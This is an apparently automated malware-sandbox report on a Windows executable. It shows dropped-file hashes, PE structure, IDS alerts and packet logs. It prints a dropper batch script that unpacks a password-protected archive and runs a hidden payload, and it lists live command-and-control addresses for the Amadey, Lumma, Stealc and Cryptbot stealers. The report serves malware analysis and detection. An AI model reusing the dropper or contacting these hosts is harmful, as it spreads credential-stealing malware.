Preview:	..&cls..@echo off..mode 65,10..title g3g34g34g34g43 (34g34g45h6hj56j56j)..md extracted..ren file.bin file.zip..call 7z.exe e file.zip -p24291711423417250691697322505 -oextracted ..for /l %%i in (7,-1,1) do (..call 7z.exe e extracted/file_%%i.zip -oextracted..)..ren file.zip file.bin..cd extracted..move "in.exe" ../..cd....rd /s /q extracted..attrib +H "in.exe"..start "" "in.exe"..cls..echo Launched 'in.exe'...pause..del /f /q "in.exe"..

C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\in.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1827328
Entropy (8bit):	7.963282633529333
Encrypted:	false
SSDEEP:	49152:2AVavyjrvfTYx9Z+tylUcecGjcM7B68ue7KhNzw:2AkvyvfTYxTUTj77B68uRe
MD5:	83D75087C9BF6E4F07C36E550731CCDE
SHA1:	D5FF596961CCE5F03F842CFD8F27DDE6F124E3AE
SHA-256:	46DB3164BEBFFC61C201FE1E086BFFE129DDFED575E6D839DDB4F9622963FB3F
SHA-512:	044E1F5507E92715CE9DF8BB802E83157237A2F96F39BAC3B6A444175F1160C4D82F41A0BCECF5FEAF1C919272ED7929BAEF929A8C3F07DEECEBC44B0435164A
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 67%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d.....Pg.........."...............-...H...-....@..............................I...........`...................................................H...............H...............H...............................H.(.....H.8...........................................UPX0......-.............................UPX1..........-.....................@...UPX2..........H.....................@...4.24.UPX!.$..=g.7....Z.H......zH.I..-.3..VH.. H......................1...MZ...o"uKHcQ<.<.PE.>H..8Q.6...[.J.t..lu'.yt.r!H....y........"....9.o.m.........1ZH....g.n.....l8..0..0..!.0..\|..(.(,....8.u....'~....*../.. ^.....(v...w....YR....oD.i....H.D$ ~.9..FL......\..(..<..u....I..D.I...f.AWAVVWS.eN.%0g.....x.5.2.H..>...t.H..}.9.t)L..g..f.H....>....A..Q.u.=.X..........:\|...oh.?.....^......;.]uzZ..{Q.s`AF..2PQd......p..B....o...t.1.=E6...'u7.p.)<Z.,(".f....Z..a..,+.GLO,v...\=^X...

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.387967523447836
Encrypted:	false
SSDEEP:	6:NGbTX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lMsEt0:NauQ1CGAFifXV6t0
MD5:	BA16F5303119CF42CEC4DA1D40CCF7E8
SHA1:	04A2070451B77D529A3C792FCE2724A17A36743C
SHA-256:	096C233D042E4BBB66F8780CA33ECCB95793A01BECA2D69C4FF6BB753BB4498D
SHA-512:	8A01BCB691C13395F59D8BBAB5535ADA1C9BEA6E711927D0562194944395F6C1CC10011511A82B3AC162A95B2F8AA046BC185F4EBB98394AC5718527F9E14954
Malicious:	false
Preview:	.....G..G?!J.S..$\.F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

\Device\ConDrv

Download File

Process:	C:\Users\user\AppData\Local\Temp\main\7z.exe
File Type:	ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	350
Entropy (8bit):	5.0682682106683945
Encrypted:	false
SSDEEP:	6:AMMyS3pt+uoQcAxXF2SaioBQypHSTgqF1AivwtHgNmtQFfpap1tNjtv:pMpDh5RwXSTgqFyYwzuJA1tNp
MD5:	2F644B7E25627553C5731B735473C859
SHA1:	5A3C2158A1FCF27AE6807A8079894FFE8D33FBEA
SHA-256:	2B34B0DE62F49C19D1F9A004AD698E2612F7FCD5072F5C9834621C62F15FB55F
SHA-512:	E83CA818C9785EB3A0297E65F08E22DC9E29A368BCADC9887B64EC746C88B79ACBAD20B4B6D49C07CB819ACE21B00C2BEB083F18A0CD5528D2BD00A7B0C4E802
Malicious:	false
Preview:	..7-Zip 19.00 (x64) : Copyright (c) 1999-2018 Igor Pavlov : 2019-02-21....Scanning the drive for archives:.. 0M Scan. .1 file, 1799594 bytes (1758 KiB)....Extracting archive: extracted\file_1.zip..--..Path = extracted\file_1.zip..Type = zip..Physical Size = 1799594.... 0%. .Everything is Ok....Size: 1827328..Compressed: 1799594..

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.583376529188411
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'011'072 bytes
MD5:	1a9cda42bd79f38deda9368800b61527
SHA1:	d0e61e7812e77acd74098db654e8fa393f9c81a7
SHA256:	d3b919cd719b576e9e6e93fcb54edc42d3882891ecad824c78b3201120c8e36f
SHA512:	5a39f947a45f3ba6b8f13c56a01f11d0c02085a36fd8cb33cc94271366cb4f9a958d4388c084c3711260105a358c6403aadac3e726e6c84b9b7db97bd23a7939
SSDEEP:	49152:ZopP33A3lh2vicrlm6JoOi7rwcvd3zgYtgGrxWZT:YP33A3n2vicrlRJoOi7ccV30ugGrxW
TLSH:	1CD51AA2B505B6CFE48B16B4952BCE826D5F47F9471048C7DC6CA4BABEA3CC111F6C24
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C................

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x71a000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F0569C [Sun Sep 22 17:40:44 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FF34CE2F9CAh

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x6a057	0x6b	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x69000	0x344	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x318600	0x10	snfdcrvt
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x3185b0	0x18	snfdcrvt
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x68000	0x2de00	b6c4e4d1e899af9cac4d1539ac88a0c1	False	0.9981958872615804	data	7.982271983199901	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x69000	0x344	0x400	982623c07c43a8169da5c3bd55ce4d06	False	0.4345703125	data	5.395849414192414	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x6a000	0x1000	0x200	cc76e3822efdc911f469a3e3cc9ce9fe	False	0.1484375	data	1.0428145631430756	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
snfdcrvt	0x6b000	0x2ae000	0x2ad800	86db55fce1c4b0df04d124b3a8c5b027	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
tnimcadf	0x319000	0x1000	0x400	443079dfb25d5791e2c3eb1d81df5903	False	0.720703125	data	5.791102273496223	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x31a000	0x3000	0x2200	90fa3756b908b1fdb29b704c63b94f3c	False	0.061236213235294115	DOS executable (COM)	0.7886776836479771	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x69070	0x152	ASCII text, with CRLF line terminators			0.6479289940828402
RT_MANIFEST	0x691c4	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
kernel32.dll	lstrcpy

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-16T09:01:05.206496+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.5	49805	185.215.113.43	80	TCP
2024-12-16T09:01:09.644301+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49817	31.41.244.11	80	TCP
2024-12-16T09:01:19.148704+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.5	49816	TCP
2024-12-16T09:01:20.483763+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49843	185.215.113.43	80	TCP
2024-12-16T09:01:22.575951+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49849	31.41.244.11	80	TCP
2024-12-16T09:01:27.346628+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49860	185.215.113.43	80	TCP
2024-12-16T09:01:28.815592+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49866	31.41.244.11	80	TCP
2024-12-16T09:01:29.175612+0100	2057945	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)	1	192.168.2.5	55182	1.1.1.1	53	UDP
2024-12-16T09:01:29.175612+0100	2057983	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (se-blurry .biz)	1	192.168.2.5	55182	1.1.1.1	53	UDP
2024-12-16T09:01:29.471873+0100	2057949	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)	1	192.168.2.5	57556	1.1.1.1	53	UDP
2024-12-16T09:01:29.471873+0100	2057981	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (zinc-sneark .biz)	1	192.168.2.5	57556	1.1.1.1	53	UDP
2024-12-16T09:01:29.699675+0100	2057929	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)	1	192.168.2.5	53011	1.1.1.1	53	UDP
2024-12-16T09:01:29.699675+0100	2057979	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dwell-exclaim .biz)	1	192.168.2.5	53011	1.1.1.1	53	UDP
2024-12-16T09:01:29.933791+0100	2057931	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)	1	192.168.2.5	49543	1.1.1.1	53	UDP
2024-12-16T09:01:29.933791+0100	2057977	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (formy-spill .biz)	1	192.168.2.5	49543	1.1.1.1	53	UDP
2024-12-16T09:01:30.155942+0100	2057925	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)	1	192.168.2.5	61922	1.1.1.1	53	UDP
2024-12-16T09:01:30.155942+0100	2057973	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (covery-mover .biz)	1	192.168.2.5	61922	1.1.1.1	53	UDP
2024-12-16T09:01:30.377883+0100	2057927	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)	1	192.168.2.5	63730	1.1.1.1	53	UDP
2024-12-16T09:01:30.377883+0100	2057975	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (dare-curbys .biz)	1	192.168.2.5	63730	1.1.1.1	53	UDP
2024-12-16T09:01:30.594496+0100	2057943	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)	1	192.168.2.5	54870	1.1.1.1	53	UDP
2024-12-16T09:01:30.594496+0100	2057971	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (print-vexer .biz)	1	192.168.2.5	54870	1.1.1.1	53	UDP
2024-12-16T09:01:30.998334+0100	2057935	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)	1	192.168.2.5	59263	1.1.1.1	53	UDP
2024-12-16T09:01:30.998334+0100	2057969	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (impend-differ .biz)	1	192.168.2.5	59263	1.1.1.1	53	UDP
2024-12-16T09:01:32.855416+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49877	23.55.153.106	443	TCP
2024-12-16T09:01:33.637687+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.5	49877	23.55.153.106	443	TCP
2024-12-16T09:01:39.805034+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49894	185.215.113.43	80	TCP
2024-12-16T09:01:41.254739+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49900	31.41.244.11	80	TCP
2024-12-16T09:01:52.078278+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49928	185.215.113.43	80	TCP
2024-12-16T09:01:53.538447+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49929	185.215.113.16	80	TCP
2024-12-16T09:01:58.294867+0100	2058230	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz)	1	192.168.2.5	56331	1.1.1.1	53	UDP
2024-12-16T09:01:59.910180+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.5	49945	104.21.50.161	443	TCP
2024-12-16T09:01:59.910180+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49945	104.21.50.161	443	TCP
2024-12-16T09:02:00.401357+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49948	185.215.113.43	80	TCP
2024-12-16T09:02:00.635882+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49945	104.21.50.161	443	TCP
2024-12-16T09:02:00.635882+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49945	104.21.50.161	443	TCP
2024-12-16T09:02:01.920686+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.5	49953	104.21.50.161	443	TCP
2024-12-16T09:02:01.920686+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49953	104.21.50.161	443	TCP
2024-12-16T09:02:02.149539+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49952	185.215.113.16	80	TCP
2024-12-16T09:02:02.646382+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49953	104.21.50.161	443	TCP
2024-12-16T09:02:02.646382+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49953	104.21.50.161	443	TCP
2024-12-16T09:02:04.981062+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.5	49964	104.21.50.161	443	TCP
2024-12-16T09:02:04.981062+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49964	104.21.50.161	443	TCP
2024-12-16T09:02:05.793167+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49964	104.21.50.161	443	TCP
2024-12-16T09:02:07.859731+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.5	49970	104.21.50.161	443	TCP
2024-12-16T09:02:07.859731+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49970	104.21.50.161	443	TCP
2024-12-16T09:02:08.972423+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.5	49971	185.215.113.43	80	TCP
2024-12-16T09:02:10.447203+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49977	185.215.113.16	80	TCP
2024-12-16T09:02:10.710084+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.5	49979	104.21.50.161	443	TCP
2024-12-16T09:02:10.710084+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49979	104.21.50.161	443	TCP
2024-12-16T09:02:10.950043+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49978	185.215.113.206	80	TCP
2024-12-16T09:02:11.493928+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49978	185.215.113.206	80	TCP
2024-12-16T09:02:11.615151+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49978	TCP
2024-12-16T09:02:11.944677+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49978	185.215.113.206	80	TCP
2024-12-16T09:02:12.171677+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	49985	141.8.192.141	80	TCP
2024-12-16T09:02:12.280110+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49978	TCP
2024-12-16T09:02:13.045195+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.5	49986	185.215.113.16	80	TCP
2024-12-16T09:02:13.831264+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49978	185.215.113.206	80	TCP
2024-12-16T09:02:13.933129+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.5	49991	141.8.192.141	80	TCP
2024-12-16T09:02:14.941156+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.5	49993	104.21.50.161	443	TCP
2024-12-16T09:02:14.941156+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49993	104.21.50.161	443	TCP
2024-12-16T09:02:15.825384+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.5	49994	104.21.50.161	443	TCP
2024-12-16T09:02:15.825384+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	49994	104.21.50.161	443	TCP
2024-12-16T09:02:16.820776+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49994	104.21.50.161	443	TCP
2024-12-16T09:02:16.820776+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49994	104.21.50.161	443	TCP
2024-12-16T09:02:18.328378+0100	2058231	ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)	1	192.168.2.5	50000	104.21.50.161	443	TCP
2024-12-16T09:02:18.328378+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.5	50000	104.21.50.161	443	TCP
2024-12-16T09:02:19.077647+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	50000	104.21.50.161	443	TCP
2024-12-16T09:02:19.077647+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	50000	104.21.50.161	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 16, 2024 09:01:03.752966881 CET	49805	80	192.168.2.5	185.215.113.43
Dec 16, 2024 09:01:03.873326063 CET	80	49805	185.215.113.43	192.168.2.5
Dec 16, 2024 09:01:03.873414993 CET	49805	80	192.168.2.5	185.215.113.43
Dec 16, 2024 09:01:03.873609066 CET	49805	80	192.168.2.5	185.215.113.43
Dec 16, 2024 09:01:03.993612051 CET	80	49805	185.215.113.43	192.168.2.5
Dec 16, 2024 09:01:05.206120014 CET	80	49805	185.215.113.43	192.168.2.5
Dec 16, 2024 09:01:05.206496000 CET	49805	80	192.168.2.5	185.215.113.43
Dec 16, 2024 09:01:06.713478088 CET	49805	80	192.168.2.5	185.215.113.43
Dec 16, 2024 09:01:06.713814974 CET	49816	80	192.168.2.5	185.215.113.43
Dec 16, 2024 09:01:06.833672047 CET	80	49816	185.215.113.43	192.168.2.5
Dec 16, 2024 09:01:06.833729982 CET	80	49805	185.215.113.43	192.168.2.5
Dec 16, 2024 09:01:06.833764076 CET	49816	80	192.168.2.5	185.215.113.43
Dec 16, 2024 09:01:06.833791971 CET	49805	80	192.168.2.5	185.215.113.43
Dec 16, 2024 09:01:06.834112883 CET	49816	80	192.168.2.5	185.215.113.43
Dec 16, 2024 09:01:06.953869104 CET	80	49816	185.215.113.43	192.168.2.5
Dec 16, 2024 09:01:08.193453074 CET	80	49816	185.215.113.43	192.168.2.5
Dec 16, 2024 09:01:08.193633080 CET	49816	80	192.168.2.5	185.215.113.43
Dec 16, 2024 09:01:08.198478937 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:08.318317890 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:08.318440914 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:08.318664074 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:08.438595057 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.644192934 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.644300938 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.644320011 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.644376040 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.644387960 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.644437075 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.644454956 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.644471884 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.644486904 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.644496918 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.644530058 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.644546986 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.644711971 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.644727945 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.644742966 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.644757986 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.644768000 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.644795895 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.644835949 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.764169931 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.764247894 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.764273882 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.764322042 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.768330097 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.768387079 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.836610079 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.836638927 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.836726904 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.836771011 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.839013100 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.839095116 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.839135885 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.839299917 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.847460985 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.847541094 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.847556114 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.847604036 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.855837107 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.855901003 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.855941057 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.855987072 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.864284992 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.864336014 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.864391088 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.864423990 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.872730017 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.872771978 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.872798920 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.872817039 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.881040096 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.881108999 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.881177902 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.881227970 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.889513016 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.889540911 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.889584064 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.889616013 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.897923946 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.898006916 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.898020983 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.898062944 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.906254053 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.906291008 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.906347036 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.906362057 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.914174080 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.914254904 CET	49817	80	192.168.2.5	31.41.244.11
Dec 16, 2024 09:01:09.914289951 CET	80	49817	31.41.244.11	192.168.2.5
Dec 16, 2024 09:01:09.914345980 CET	49817	80	192.168.2.5	31.41.244.11
